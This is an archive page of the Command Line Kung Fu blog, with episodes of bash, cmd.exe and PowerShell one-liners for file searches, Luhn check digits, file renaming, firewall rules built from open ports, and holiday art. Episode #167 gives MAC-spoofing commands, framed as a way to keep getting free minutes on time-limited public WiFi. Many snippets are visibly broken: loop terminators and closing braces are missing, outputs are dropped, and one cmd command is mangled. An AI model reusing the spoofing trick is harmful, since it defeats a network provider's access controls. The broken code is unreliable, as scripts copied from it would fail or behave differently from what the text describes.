Author Archives: Hal Pomeranz

Episode #181: Making Contact

Hal wanders back on stage
Whew! Sure is dusty in here!
Man, those were the days! It started with Ed jamming on Twitter and me heckling from the audience. Then Ed invited me up on stage (once we built the stage), and that was some pretty sweet kung fu. Then Tim joined the band, Ed left, and the miles, and the booze, and the groupies got to be too much.
But we still get fan mail! Here's one from superfan Josh Wright that came in just the other day:
I have a bunch of sub-directories, all of which have files of various names. I want to produce a list of directories that do not have a file starting with "ContactSheet-*.jpg".
I thought I would just use "find" with "-exec test":
find . -type d \! -exec test -e "{}/ContactSheet\*" \; -print
Unfortunately, "test" doesn't support globbing, so this always fails.
Here's a sample directory tree and files. I thought this might be an interesting CLKF topic.
$ ls
Adriana Alessandra Gisele Heidi Jelena Kendall Kim Miranda
$ ls *
Adriana-1.jpg Adriana-3.jpg Adriana-5.jpg
Adriana-2.jpg Adriana-4.jpg Adriana-6.jpg

Alessandra-1.jpg Alessandra-4.jpg ContactSheet-Alessandra.jpg
Alessandra-2.jpg Alessandra-5.jpg
Alessandra-3.jpg Alessandra-6.jpg

Gisele-1.jpg Gisele-3.jpg Gisele-5.jpg
Gisele-2.jpg Gisele-4.jpg Gisele-6.jpg

ContactSheet-Heidi.jpg Heidi-2.jpg Heidi-4.jpg Heidi-6.jpg
Heidi-1.jpg Heidi-3.jpg Heidi-5.jpg

ContactSheet-Jelena.jpg Jelena-2.jpg Jelena-4.jpg Jelena-6.jpg
Jelena-1.jpg Jelena-3.jpg Jelena-5.jpg

Kendall-1.jpg Kendall-3.jpg Kendall-5.jpg
Kendall-2.jpg Kendall-4.jpg Kendall-6.jpg

ContactSheet-Kim.jpg Kim-2.jpg Kim-4.jpg Kim-6.jpg
Kim-1.jpg Kim-3.jpg Kim-5.jpg

Miranda-1.jpg Miranda-3.jpg Miranda-5.jpg
Miranda-2.jpg Miranda-4.jpg Miranda-6.jpg
OK, Josh. I'm feeling you on this one. Maybe I can find some of the lost magic.
Because Josh started this riff with a "find" command, my brain went there first. But my solutions all ended up being variants on running two find commands-- get a list of the directories with "ContactSheet" files and "subtract" that from the list of all directories. Here's one of those solutons:
$ sort <(find * -type d) <(find * -name ContactSheet-\* | xargs dirname) | uniq -u
The first "find" gets me all the directory names. The second "find" gets all of the "ContactSheet" files, and then that output gets turned into a list of directory names with "xargs dirname". Then I use the "<(...)" construct to feed both lists of directories into the "sort" command. "uniq -u" gives me a list of the directories that only appear once-- which is the directories that do not have a "ContactSheet" file in them.
But I wasn't cool with running the two "find" commands-- especially when we might have a big set of directories. And then it hit me. Just like our CLKF jam is better when I had my friends Ed and Tim rocking out with me, we can make this solution better by combining our selection criteria into a single "find" command:
$ find * \( -type d -o -name ContactSheet\* \) | sed 's/\/ContactSheet.*//' | uniq -u
By itself, the "find" command gives me output like this:
$ find * \( -type d -o -name ContactSheet\* \)
Then I use "sed" to pick off the file name, and I end up with the directory list with the duplicate directory names already sorted together. That means I can just feed the results into "uniq -u" and everything is groovy!
Cool, man. That was cool. Now if only my friends Ed and Tim were here, that would be something else.

A Wild-Eyed Man Appears on Stage for the First Time Since December 2013
Wh-wh-where am I?  Why am I covered with dust?  Who are you people?  What's going on?

This all looks so familiar.  It reminds me of... of... those halcyon days of the early Command Line Kung Fu blog.  A strapping young Tim Medin throwing down some amazing shell tricks.  Master Hal Pomeranz busting out beautiful bash fu.  Wow... those were the days.  Where the heck have I been?

Oh wait... what?  You want me to solve Josh's dilemma using cmd.exe?  What, am I a trained monkey who dances for you when you turn the crank on the music box?  Oh I can hear the sounds now.  That lovely music box... with its beautiful tunes that are so so so hypnotizing... so hypnotizing...

...and then Ed starts to dance...

I originally thought, "Uh-oh... a challenge posed by Josh Wright and then smashed by Hal is gonna be an absolute pain in the neck in cmd.exe, the Ruprecht of shells."  But then, much to my amazement, the answer all came together in about 3 minutes.  Here ya go, Big Josh.

c:\> for /D /R %i in (*) do @dir /b %i | find "ContactSheet" > nul || echo %i

The logic works thusly:

I've got a "for" loop, iterating over directories (/D) in a recursive fashion (/R) with an iterator variable of %i which will hold the directory names.  I do this for everything in the current working directory and down (in (*)... although you could put a directory path in there to start at a different directory).  That'll spit out each directory. At each iteration through the loop, I do the following:
  • Turn off the display of commands so it doesn't clutter the output (@)
  • Get a directory listing of the current directory indicated by the iterator variable, %i.  I want this directory listing in bare form without the Volume Name and Size cruft but with full path (/b).  That'll spew all these directories and their contents on standard out.  Remember, I'm recursing using the /R in my for loop, so I don't need to use a /s in my dir command here.
  • I take the output of the dir command and pipe it through the find command to look for the string "ContactSheet".  I throw out the output of the find command, because it's a bunch of cruft where it actually finds ContactSheet.
  • But, if the find command FAILS to see the string "ContactSheet" (||), I want to display the path of the directory where it failed, so I echo %i.
Voilamundo!  There you go!  The output looks like this:

c:\tmp\test>for /D /r %i in (*) do @dir /b /s %i | find "ContactSheet" > nul || echo %i

I'd like to thank Josh for the most engaging challenge!  I'll now go back into my hibernative state.... Zzzzzzzzz...

...and then Tim grabs the mic...

What a fantastic throwback, a reunion of sorts. Like the return of Guns n' Roses, but more Welcome to the Jungle than Paradise City, it gets worse here everyday. We got everything you want honey, we know the commands. We are the people that can find whatever you may need.

Uh, sorry... I've missed the spotlight here. Let's get back to the commands. Here is a working command in long form and shortened form:

PS C:\Photos> Get-ChildItem -Directory | Where-Object { -not (Get-ChildItem -Path $_ -Filter ContactSheet*) }

PS C:\Photos> ls -di | ? { -not (ls $_ -Filter ContactSheet*) }

Let's take it day piece by day piece. If you want it you're gonna bleed but it's the price to pay. Well, actually, it isn't that difficult so no bleeding will be involved.

The first portion simply gets a list of directories in the current directory.

Next, we have a Where-Object filter that will pass the proper objects down the pipeline. In the filter we need to look for files in the directory passed down the pipeline ($_) containing files that start with ContactSheet. We simply invert the search with the -not operator.

With this command you can have everything you want but you better not take it from me... the other guys did some excellent work. We've missed ya'll and hopefully we will see you again. Now back into the cave to hibernate.

Episode #178: Luhn-acy

Hal limbers up in the dojo

To maintain our fighting trim here in the Command Line Kung Fu dojo, we like to set little challenges for ourselves from time to time. Of course, we prefer it when our loyal readers send us ideas, so keep those emails coming! Really... please oh please oh please keep those emails coming... please, please, please... ahem, but I digress.

All of the data breaches in the news over the last year got me thinking about credit card numbers. As many of you are probably aware, credit card numbers have a check digit at the end to help validate the account number. The Luhn algorithm for computing this digit is moderately complicated and I wondered how much shell code it would take to compute these digits.

The Luhn algorithm is a right-to-left calculation, so it seemed like my first task was to peel off the last digit and be able to iterate across the remaining digits in reverse order:

$ for d in $(echo 123456789 | rev | cut -c2- | sed 's/\(.\)/\1 /g'); do echo $d; done

The "rev" utility flips the order of our digits, and then we just grab everything from the second digit onwards with "cut". We use a little "sed" action to break the digits up into a list we can iterate over.

Then I started thinking about how to do the "doubling" calculation on every other digit. I could have set up a shell function to calculate the doubling each time, but with only 10 possible outcomes, it seemed easier to just create an array with the appropriate values:

$ doubles=(0 2 4 6 8 1 3 5 7 9)
$ for d in $(echo 123456789 | rev | cut -c2- | sed 's/\(.\)/\1 /g'); do echo $d ${doubles[$d]}; done
8 7
7 5
6 3
5 1
4 8
3 6
2 4
1 2

Then I needed to output the "doubled" digit only every other digit, starting with the first from the right. That means a little modular arithmetic:

$ c=0
$ for d in $(echo 123456789 | rev | cut -c2- | sed 's/\(.\)/\1 /g'); do
echo $(( ++c % 2 ? ${doubles[$d]} : $d ));


I've introduced a counting variable, "$c". Inside the loop, I'm evaluating a conditional expression to decide if I need to output the "double" of the digit or just the digit itself. There are several ways I could have handled this conditional operation in the shell, but having it in the mathematical "$((...))" construct is particularly useful when I want to calculate the total:

$ c=0; t=0; 
$ for d in $(echo 123456789 | rev | cut -c2- | sed 's/\(.\)/\1 /g'); do
t=$(( $t + (++c % 2 ? ${doubles[$d]} : $d) ));

$ echo $t

We're basically done at this point. Instead of outputting the total, "$t", I need to do one more calculation to produce the Luhn digit:

$ c=0; t=0; 
$ for d in $(echo 123456789 | rev | cut -c2- | sed 's/\(.\)/\1 /g'); do
t=$(( $t + (++c % 2 ? ${doubles[$d]} : $d) ));

$ echo $(( ($t * 9) % 10 ))

Here's the whole thing in one line of shell code, including the array definition:

doubles=(0 2 4 6 8 1 3 5 7 9); 
c=0; t=0;
for d in $(echo 123456789 | rev | cut -c2- | sed 's/\(.\)/\1 /g'); do
t=$(( $t + (++c % 2 ? ${doubles[$d]} : $d) ));
echo $(( ($t * 9) % 10 ))

Even with all the extra whitespace, the whole thing fits in under 100 characters! Grand Master Ed would be proud.

I'm not even going to ask Tim to try and do this in CMD.EXE. Grand Master Ed could have handled it, but we'll let Tim use his PowerShell training wheels. I'm just wondering if he can do it so it still fits inside a Tweet...

Tim checks Hal's math

I'm not quite sure how Hal counts, but I when I copy/paste and then use Hal's own wc command I get 195 characters. It is less than *2*00 characters, not long enough to tweet.

Here is how we can accomplish the same task in PowerShell. I'm going to use a slightly different method than Hal. First, I'm going to use his lookup method as it is more terse then doing the extra match via if/then. In addition, I am going to extend his method a little to save a little space.

PS C:\> $lookup = @((0..9),(0,2,4,6,8,1,3,5,7,9));

This mutli-dimensional array contains a lookup for the number as well as the doubled number. That way I can index the value without an if statement to save space. Here is an example:

PS C:\> $isdoubled = $false
PS C:\> $lookup[$isdoubled][6]
PS C:\> $isdoubled = $true
PS C:\> $lookup[$isdoubled][7]

The shortest way to get each digit, from right to left, is by using regex (regular expression) match and working right to left. A longer way would be to use the string, convert it to a char array, then reverse it but that is long, ugly, and we need to use an additional variable.

The results are fed into a ForEach-Object loop. Before the objects (the digits) passed down the pipeline are handled we need to initialize a few variables, the total and the boolean $isdoubled variables in -Begin. Next, we add the digits up by accessing the items in our array as well as toggling the $isdoubled variable. Finally, we use the ForEach-Object's -End to output the final value of $sum.

PS C:\> ([regex]::Matches('123456789','.','RightToLeft')) | ForEach-Object 
-Begin { $sum = 0; $isdoubled = $false} -Process { $sum += $l[$isdoubled][[int]$_.value]; $d = -not $d }
-End { $sum }

We can shorten the command to this to save space.

PS C:\> $l=@((0..9),(0,2,4,6,8,1,3,5,7,9));
([regex]::Matches('123456789','.','RightToLeft')) | %{ $s+=$l[$d][$_.value];$d=!$d} -b{$s=0;$d=0} -en{$s}

According to my math this is exactly 140 characters. I could trim another 2 by removing a few spaces too. It's tweetable!

I'll even throw in a bonus version for cmd.exe:

C:\> powershell -command "$l=@((0..9),(0,2,4,6,8,1,3,5,7,9));
([regex]::Matches("123456789",'.','RightToLeft')) | %{ $s+=$l[$d][$_.value];$d=!$d} -b{$s=0;$d=0} -en{$s}"

Ok, it is a bit of cheating, but it does run from CMD.

Hal gets a little help

I'm honestly not sure where my brain was at when I was counting characters in my solution. Shortening variable names and removing all extraneous whitespace, I can get my solution down to about 150 characters, but no smaller.

Happily, Tom Bonds wrote in with this cute little blob of awk which accomplishes the mission:

awk 'BEGIN{split("0246813579",d,""); for (i=split("12345678",a,"");i>0;i--) {t += ++x % 2 ? d[a[i]+1] : a[i];} print (t * 9) % 10}'

Here it is with a little more whitespace:

awk 'BEGIN{ split("0246813579",d,"");
for (i=split("12345678",a,"");i>0;i--) {
t += ++x % 2 ? d[a[i]+1] : a[i];
print (t * 9) % 10

Tom's getting a lot of leverage out of the "split()" operator and using his "for" loop to count backwards down the string. awk is automatically initializing his $t and $x variables to zero each time his program runs, whereas in the shell I have to explicitly set them to zero or the values from the last run will be used.

Anyway, Tom's original version definitely fits in a tweet! Good show, Tom!

Episode #177: There and Back Again

Hal finds some old mail

Way, way back after Episode #170 Tony Reusser sent us a follow-up query. If you recall, Episode #170 showed how to change files named "fileaa", "fileab", "fileac", etc to files named "file.001", "file.002", "file.003". Tony's question was how to go back the other way-- from "file.001" to "fileaa", "file.002" to "fileab", and so on.

Why would we want to do this? Heck, I don't know! Ask Tony. Maybe he just wants to torture us to build character. Well we here at Command Line Kung Fu fear no characters, though we may occasionally lose reader emails behind the refrigerator for several months.

The solution is a little scripty, but I did actually type it in on the command line:

for l1 in {a..z}; do
for l2 in {a..z}; do
printf -v ext %03d $(( c++ ))
[[ -f file.$ext ]] && mv file.$ext file$l1$l2 || break 2

There are two nested loops here which work together to create our alphabetic file extensions. $l1 represents the first of the two letters, ranging from 'a' to 'z'. $l2 is the second letter, also ranging from 'a' to 'z'. Put them next to each other and you get "aa", "ab", "ac", etc.

Like Episode #170, I'm using a counter variable named $c to track the numeric file extension. So, for all you computer science nerds, this is a rather weird looping construct because I'm using three different loop control variables. And weird is how I roll.

Inside the loop, I re-use the code from Episode #170 to format $c as our three-digit file extension (saved in variable $ext) and auto-increment $c in the same expression. Then I check to see if "file.$ext" exists. If we have a "file.$ext", then we rename it to "file$l1$l2" ("fileaa", "fileab", etc). If "file.$ext" does not exist, then we've run out of "" pieces and we can stop looping. "break 2" breaks out of both enclosing loops and terminates our command line.

And there you go. I hope Tim has as much fun as I did with this. I bet he'd have even more fun if I made him do it in CMD.EXE. Frankly all that PowerShell has made him a bit sloppy...

Tim mails this one in just in time from Abu Dhabi

Wow, CMD huh? That trip to Scriptistan must have made him crazy. I think a CMD version of this would violate the laws of physics.

I'm on the other side of the world looking for Nermal in Abu Dhabi. Technically, it is May 1 here, but since the publication date shows April I think this counts as our April post. At least, that is the story I'm sticking to.

Sadly, I too will have to enter Scriptistan. I have a visa for a long stay on this one. I'll start by using a function to convert a number to Base26. The basis of this function is taken from here. I modified the function so we could add leading A's to adjust the width.

function Convert-ToLetters ([parameter(Mandatory=$true,ValueFromPipeline=$true)][int] $Value, [int]$MinWidth=0) {
$currVal = $Value
if ($LeadingDigits -gt 0) { $currVal = $currVal + [int][Math]::Pow(26, $LeadingDigits) }
$returnVal = '';
while ($currVal -ge 26) {
$returnVal = [char](($currVal) % 26 + 97) + $returnVal;
$currVal = [int][math]::Floor($currVal / 26)
$returnVal = [char](($currVal) + 64) + $returnVal;

return $returnVal

This allows me to cheat greatly simplify the renaming process.

PS C:\> ls file.* | % { move $_ "file.$(Convert-ToLetters [int]$_.Extension.Substring(1) -MinWidth 3 )" }

This command will read the files starting with "file.", translate the extension in to Base26 (letters), and rename the file. The minimum width is configurable as well, so file.001 could be file.a, file.aa,, etc. Also, this version will support more than 26^2 files.

Episode #174: Lightning Lockdown

Hal firewalls fast

Recently a client needed me to quickly set up an IP Tables firewall on a production server that was effectively open on the Internet. I knew very little about the machine, and we couldn't afford to break any of the production traffic to and from the box.

It occurred to me that a decent first approximation would be to simply look at the network services currently in use, and create a firewall based on that. The resulting policy would probably be a bit more loose than it needed to or should be, but it would be infinitely better than no firewall at all!

I went with lsof, because I found the output easier to parse than netstat:

# lsof -i -nlP | awk '{print $1, $8, $9}' | sort -u
httpd TCP *:80
named TCP
named TCP
named TCP [::1]:953
named TCP
named UDP
named UDP
ntpd UDP [::1]:123
ntpd UDP *:123
ntpd UDP
ntpd UDP
ntpd UDP [fe80::baac:6fff:fe8e:a0f1]:123
ntpd UDP [fe80::baac:6fff:fe8e:a0f2]:123
portreser UDP *:783
sendmail TCP
sendmail TCP>
sendmail TCP *:587
sshd TCP *:22
sshd TCP>

I could have left off the process name, but it helped me decide which ports were important to include in the new firewall rules. Honestly, the output above was good enough for me to quickly throw together some workable IP Tables rules. I simply saved the output to a text file and hacked things together with a text editor.

But maybe you only care about the port information:

# lsof -i -nlP | awk '{print $9, $8, $1}' | sed 's/.*://' | sort -u
123 UDP ntpd
1526 TCP sendmail
22 TCP sshd
25 TCP sendmail
39054 TCP sshd
53 TCP named
53 UDP named
587 TCP sendmail
783 UDP portreser
80 TCP httpd
953 TCP named

Note that I inverted the field output order, just to make my sed a little easier to write

If you wanted to go really crazy, you could even create and load the actual rules on the fly. I don't recommend this at all, but it will make Tim's life harder in the next section, so here goes:

lsof -i -nlP | tail -n +2 | awk '{print $9, $8}' | 
sed 's/.*://' | sort -u | tr A-Z a-z |
while read port proto; do ufw allow $port/$proto; done

I added a "tail -n +2" to get rid of the header line. I also dropped the command name from my awk output. There's a new "tr A-Z a-z" in there to lower-case the protocol name. Finally we end with a loop that takes the port and protocol and uses the ufw command line interface to add the rules. You could do the same with the iptables command and its nasty syntax, but if you're on a Linux distro with UFW, I strongly urge you to use it!

So, Tim, I figure you can parse netstat output pretty easily. How about the command-line interface to the Windows firewall? Remember, adversity builds character...

Tim builds character

When I first saw this I thought, "Man, this is going to be easy with the new cmdlets in PowerShell v4!" There are a lot of new cmdlets available in PowerShell version 4, and both Windows 8.1 and Server 2012R2 ship with PowerShell version 4. In addition, PowerShell version 4 is available for Windows 7 SP1 (and later) and Windows Server 2008 R2 SP1 (and later).

The first cmdlet that will help us out here is Get-NetTCPConnection. According to the help page this cmdlet "gets current TCP connections. Use this cmdlet to view TCP connection properties such as local or remote IP address, local or remote port, and connection state." This is going to be great! But...

It doesn't mention the process ID or process name. Nooooo! This can't be. Let's look at all the properties of the output objects.

PS C:\> Get-NetTCPConnection | Format-List *

State : Established
AppliedSetting : Internet
Caption :
Description :
ElementName :
InstanceID :
CommunicationStatus :
DetailedStatus :
HealthState :
InstallDate :
Name :
OperatingStatus :
OperationalStatus :
PrimaryStatus :
Status :
StatusDescriptions :
AvailableRequestedStates :
EnabledDefault : 2
EnabledState :
OtherEnabledState :
RequestedState : 5
TimeOfLastStateChange :
TransitioningToState : 12
AggregationBehavior :
Directionality :
LocalAddress :
LocalPort : 445
RemoteAddress :
RemotePort : 49278
PSComputerName :
CimClass : ROOT/StandardCimv2:MSFT_NetTCPConnection
CimInstanceProperties : {Caption, Description, ElementName, InstanceID...}
CimSystemProperties : Microsoft.Management.Infrastructure.CimSystemProperties

Dang! This will get most of what we want (where "want" was defined by that Hal guy), but it won't get the process ID or the process name. So much for rubbing the new cmdlets in his face.

Let's forget about Hal for a second and get what we can with this cmdlet.

PS C:\> Get-NetTCPConnection | Select-Object LocalPort | Sort-Object -Unique LocalPort

This is helpful for getting a list of ports, but not useful for making decisions about what should be allowed. Also, we would need to run Get-NetUDPEndpoint to get the UDP connections. This is so close, yet so bloody far. We have to resort to the old school netstat command and the -b option to get the executable name. In episode 123 we needed parsed netstat output. I recommended the Get-Netstat script available at Sadly, we are going to have to resort to that again. With this script we can quickly get the port, protocol, and process name.

PS C:\> .\get-netstat.ps1 | Select-Object ProcessName, Protocol, LocalPort | 
Sort-Object -Unique LocalPort, Protocol, ProcessName

ProcessName Protocol Localport
----------- -------- ---------
svchost TCP 135
System UDP 137
System UDP 138
System TCP 139
svchost UDP 1900
svchost UDP 3540
svchost UDP 3544
svchost TCP 3587
dasHost UDP 3702
svchost UDP 3702
System TCP 445
svchost UDP 4500

It should be pretty obvious that the port 137-149 and 445 should not be accessible from the internet. We can filter these ports out so that we don't allow these ports through the firewall.

PS C:\> ... | Where-Object { (135..139 + 445) -NotContains $_.LocalPort }
ProcessName Protocol Localport
----------- -------- ---------
svchost UDP 1900
svchost UDP 3540
svchost UDP 3544
svchost TCP 3587
dasHost UDP 3702
svchost UDP 3702
svchost UDP 4500

Now that we have the ports and protocols we can create new firewall rules using the new New-NetFirewallRule cmdlet. Yeah!

PS C:\> .\get-netstat.ps1 | Select-Object Protocol, LocalPort | Sort-Object -Unique * | 
Where-Object { (135..139 + 445) -NotContains $_.LocalPort } |
ForEach-Object { New-NetFirewallRule -DisplayName AllowedByScript -Direction Outbound
-Action Allow -LocalPort $_.LocalPort -Protocol $_.Protocol }

Name : {d15ca484-5d16-413f-8460-a29204ff06ed}
DisplayName : AllowedByScript
Description :
DisplayGroup :
Group :
Enabled : True
Profile : Any
Platform : {}
Direction : Outbound
Action : Allow
EdgeTraversalPolicy : Block
LooseSourceMapping : False
LocalOnlyMapping : False
Owner :
PrimaryStatus : OK
Status : The rule was parsed successfully from the store. (65536)
EnforcementStatus : NotApplicable
PolicyStoreSource : PersistentStore
PolicyStoreSourceType : Local

These new firewall cmdlets really make things easier, but if you don't have PowerShellv4 you can still use the old netsh command to add the firewall rules. Also, the Get-Netstat will support older version of PowerShell as well, so this is nicely backwards compatible. All we need to do is replace the command inside the ForEach-Object cmdlet's script block.

PS C:\> ... | ForEach-Object { netsh advfirewall firewall add rule 
name="AllowedByScript" dir=in action=allow protocol=$_.Protocol
localport=$_.LocalPort }

Episode #173: Tis the Season

Hal finds some cheer
From somewhere near the borders of scriptistan, we send you:
function t { 
for ((i=0; $i < $1; i++)); do
s=$((8-$i)); e=$((8+$i));
for ((j=0; j <= $e; j++)); do [ $j -ge $s ] && echo -n '^' || echo -n ' '; done;
function T {
for ((i=0; $i < $1; i++)); do
for ((j=0; j < 10; j++)); do [ $j -ge 7 ] && echo -n '|' || echo -n ' '; done;
t 3; t 5; t 7; T 2; echo -e "Season's Greetings\n from CLKF"

Ed comes in out of the cold:

Gosh, I missed you guys.  It's nice to be home with my CLKF family for the holidays.  I brought you a present:

c:\>cmd.exe /v:on /c "echo. & echo A Christmas present for you: & color 24 & 
echo. & echo 0x0& for /L %a in (1,1,11) do @(for /L %b in (1,1,10) do @ set /a
%b%2) & echo 1"& echo. & echo Merry Christmas!

Tim awaits the new year:

Happy New Year from within the borders of Scriptistan!

Function Draw-Circle {
Param( $Radius, $XCenter, $YCenter )

for ($x = -$Radius; $x -le $Radius ; $x++) {
$y = [int]([math]::sqrt($Radius * $Radius - $x * $x))
Set-CursorLocation -X ($XCenter + $x) -Y ($YCenter + $y)
Write-Host "*" -ForegroundColor Blue -NoNewline
Set-CursorLocation -X ($XCenter + $x) -Y ($YCenter - $y)
Write-Host "*" -ForegroundColor Blue -NoNewline

Function Draw-Hat {
Param( $XCenter, $YTop, $Height, $Width, $BrimWidth )

$left = Round($XCenter - ($Width / 2))
$row = "#" * $Width
for ($y = $YTop; $y -lt $YTop + $Height - 1; $y++) {
Set-CursorLocation -X $left -Y $y
Write-Host $row -ForegroundColor Black -NoNewline

Set-CursorLocation -X ($left - $BrimWidth) -Y ($YTop + $Height - 1)
$row = "#" * ($Width + 2 * $BrimWidth)
Write-Host $row -ForegroundColor Black -NoNewline

Function Set-CursorLocation {
Param ( $x, $y )

$pos = $Host.UI.RawUI.CursorPosition
$pos.X = $x
$pos.Y = $y
$Host.UI.RawUI.CursorPosition = $pos

Function Round {
Param ( $int )
# Stupid banker's rounding
return [Math]::Round( $int, [MidpointRounding]'AwayFromZero' )

Write-Host "Happy New Year!"
Draw-Circle -Radius 4 -XCenter 10 -YCenter 8
Draw-Circle -Radius 5 -XCenter 10 -YCenter 17
Draw-Circle -Radius 7 -XCenter 10 -YCenter 29
Draw-Hat -XCenter 10 -YTop 2 -Height 5 -Width 7 -BrimWidth 2
Set-CursorLocation -X 0 -Y 38

Episode #170: Fearless Forensic File Fu

Hal receives a cry for help

Fellow forensicator Craig was in a bit of a quandary. He had a forensic image in "split raw" format-- a complete forensic image broken up into small pieces. Unfortunately for him, the pieces were named "fileaa", "fileab", "fileac", and so on while his preferred tool wanted the files to be named "file.001", "file.002", "file.003", etc. Craig wanted to know if there was an easy way to rename the files, using either Linux or the Windows shell.

This one's not too hard in Linux, and in fact it's a lot like something we did way back in Episode #26:

for f in file*; do
printf -v ext %03d $(( c++ ));
mv $f ${f/%[a-z][a-z]/.$ext};

You could remove the newlines and make that one big long line, but I think it's a bit easier to read this way. First we initialize a counter variable $c to 1. Then we loop over each of the files in our split raw image.

The printf statement inside the loop formats $c as three digits, with however many leading zeroes are necessary ("%03d"). There are a couple of tricky bits in the printf though. First is we're assigning the output of printf to a variable $ext ("-v ext"). Second, we're doing a little arithmetic on $c at the same time and using the "++" operator to increment the value of $c each time through the loop-- that's the "$(( c++ ))" part.

Then we use mv to rename our file. I'm using the variable substitution operator like we did in Episode #26. The format again is "${var/pattern/substitution}" and here the "%" after the first slash means "match at the end of the string". So I'm replacing the last two letters in the file name with a dot followed by our $ext value. And that's exactly what Craig wanted!

All of the symbols in this solution make it appear like a little chunk of line noise, but it's nowhere near as ugly as Ed's CMD.EXE solution in Episode #26. Here's hoping Tim's Powershell solution is a bit more elegant.

Tim finishes before September ends!

Elegance where here we come!

Long Version:
PS C:\> $i=1; Get-ChildItem file?? | Sort-Object -Propery Name |
ForeEach-Object { MoveItem -Path $_ -Destination ("file.{0:D3}" -f $i++) }

Shortened Version:
PS C:\> ls file?? | sort name | % { move $_ -dest ("file.{0:D3}" -f $i++) }

We start off by initializing our counter variable ($i) to 1 just like Hal did. Next, we list all the files that start with "file" and are followed by exactly two characters (each ? matches exactly 1 character of any kind). The results are then sorted by the file name to ensure that the files are renamed in the correct order. The results are then fed into the ForEach-Object cmdlet (alias %).

The ForEach-Object loop will operate on each object (file) as it moves down the pipeline. One at a time, each file will be represented by the current pipeline object ($_). The Move-Item cmdlet (alias move) is used to rename a file; to move it to its new name. The source path is provided by the current object and the destination is determined using the format operator (-f) and our counter ($i). The format operator will print $i as a three digit number prefixed with leading zeros and "file.". The ++ after $i will increment the counter after it has been used.

That is much cleaner than Ed's example...and even cleaner than Hal's to boot!


Reader m_cnd writes in with a solution for CMD. vm

C:\> for /F "tokens=1,2 delims=:" %d in ('dir /on /b file* ^| 
findstr /n "file"') do for /F %x in ('set ext^=00%d^&^&
cmd /v:on /c "echo !ext:~-3!"') do rename %e file.%x
Nice work!

Episode #168: Scan On, You Crazy Command Line

Hal gets back to our roots

With one ear carefully tuned to cries of desperation from the Internet, it's no wonder I picked up on this plea from David Nides on Twitter:

Whenever I see a request to scan for files based on a certain criteria and then copy them someplace else, I immediately think of the "find ... | cpio -pd ..." trick I've used in several other Episodes.

Happily, "find" has "-mtime", "-atime", and "-ctime" options we can use for identifying the files. But they all want their arguments to be in terms of number of days. So I need to calculate the number of days between today and the end of 2012. Let's do that via a little command-line kung fu, shall we? That will make this more fun.

$ days=$(( ($(date +%Y) - 2012)*365 + $(date +%j | sed 's/^0*//') ))
$ echo $days

Whoa nelly! What just happened there? Well, I'm doing math with the bash "$(( ... ))" operator and assigning the result to a variable called "days" so I can use it later. But what's all that line noise in the middle?

  • "date +%Y" returns the current year. That's inside "$( ... )" so I can use the value in my calculations.
  • I subtract 2012 from the current year to get the number of years since 2012 and multiply that by 365. Screw you, leap years!
  • "date +%j" returns the current day of the year, a value from 001-365.
  • Unfortunately the shell interprets values with leading zeroes as octal and errors out on values like "008" and "097". So I use a little sed to strip the leading zeroes.

Hey, I said it would be fun, not that it would necessarily be a good idea!

But now that I've got my "$days" value, the answer to David's original request couldn't be easier:

$ find /some/dir -mtime +$days -atime +$days -ctime +$days | cpio -pd /new/dir

The "find" command locates files whose MAC times are all greater than our "$days" value-- that's what the "+$days" syntax means. After that, it's just a matter of passing the found files off to "cpio". Calculating "$days" was the hard part.

My final solution was short enough that I tweeted it back to David. Which took me all the way back to the early days of Command-Line Kung Fu, when Ed Skoudis had hair would tweet cute little CMD.EXE hacks that he could barely fit into 140 characters. And I would respond with bash code that would barely line wrap. Ah, those were the days!

Of course, Tim was still in diapers then. But he's come so far, that precocious little rascal! Let's see what he has for us this time!

Tim gets an easy one!

Holy Guacamole! This is FINALLY an easy one! Robocopy makes this super easy *and* it plays well with leap years. I feel like it is my birthday and I can finally get out of these diapers.

PS C:\> robocopy \some\dir \new\dir /MINLAD (Get-Date).DayOfYear /MINAGE (Get-Date).DayOfYear /MOV

Simply specify the source and destination directories and use /MOV to move the files. MINLAD will ignore files that have been accessed in the past X days (LAD = Last Access Date), and MINAGE does the same based on the creation date. All we need is the number of days since the beginning of the year. Fortunately, getting that number is super easy in PowerShell (I have no pity for Hal).

All Date objects have the property DayOfYear which is (surprise, surprise) the number of days since the beginning of the year (Get-Member will show all the available properties and methods of an object). All we need is the current date, which we get Get-Date.

DONE! That's all folks! You can go home now. I know you expected a long complicated command, but we don't have one here. However, if you feel that you need to read more you can go back and read the episodes where we cover some other options available with robocopy.

This command is so easy, simple, and short I could even fit it into a tweet!

Episode #167: Big MAC

Hal checks into Twitter:

So there I was, browsing my Twitter timeline and a friend forwarded a link to Jeremy Ashkenas' github site. Jeremy created an alias for changing your MAC address to a random value. This is useful when you're on a public WiFi network that only gives you a small amount of free minutes. Since most of these services keep track by noting your MAC address, as long as you keep cycling you MAC, you can keep using the network for free.

Here's the core of Jeremy's alias:

sudo ifconfig en0 ether `openssl rand -hex 6 | sed "s/\(..\)/\1:/g; s/.$//"`

Note that the syntax of the ifconfig command varies a great deal between various OS versions. On my Linux machine, the syntax would be "sudo ifconfig wlan0 hw ether..."-- you need "hw ether" after the interface name and not just "ether".

Anyway, this seemed like a lot of code just to generate a random MAC address. Besides, what if you didn't have the openssl command installed on your Linux box? So I decided to try and figure out how to generate a random MAC address in fewer characters and using commonly built-in tools.

What does a MAC address look like? It's six pairs of digits with colons between. "Pairs of digits with colons between" immediately made me think of time values. And this works:

$ date +00:11:22:%T

Just print three pairs of fixed digits followed by "hh:mm:ss". I originally tried "date +%T:%T". But in my testing, the ifconfig command didn't always like the fake MAC addresses that were generated this way. So specifying the first few octets was the way to go.

The only problem is that this address really isn't all that random. If there were a lot of people on the same WiFi network all using this trick, MAC address collisions could happen pretty easily. Though if everybody chose their own personal sequence for the first three octets, you could make this a lot less likely.

The Linux date command lets you output a nine-digit nanoseconds value with "%N". I could combine that with a few leading digits to generate a pseudo-random sequence of 12 digits:

$ date +000%N

But now we need to use the sed expression in Jeremy's original alias to put the colons in. Or do we?

$ sudo ifconfig wlan0 hw ether $(date +000%N)
$ ifconfig wlan0
wlan0 Link encap:Ethernet HWaddr 00:02:80:12:43:53

I admit that I was a little shocked when I tried this and it actually worked! I can't guarantee that it will work across all Unix-like operating systems, but it allows me to come up with a much shorter bit of fu compared to Jeremy's solution.

What if you were on a system that didn't have openssl installed and didn't have a date command that had nanosecond resolution? If your system has a /dev/urandom device (and most do) you could use the trick we used way back in Episode #85:

$ sudo ifconfig wlan0 hw ether 00$(head /dev/urandom | tr -dc a-f0-9 | cut -c1-10)
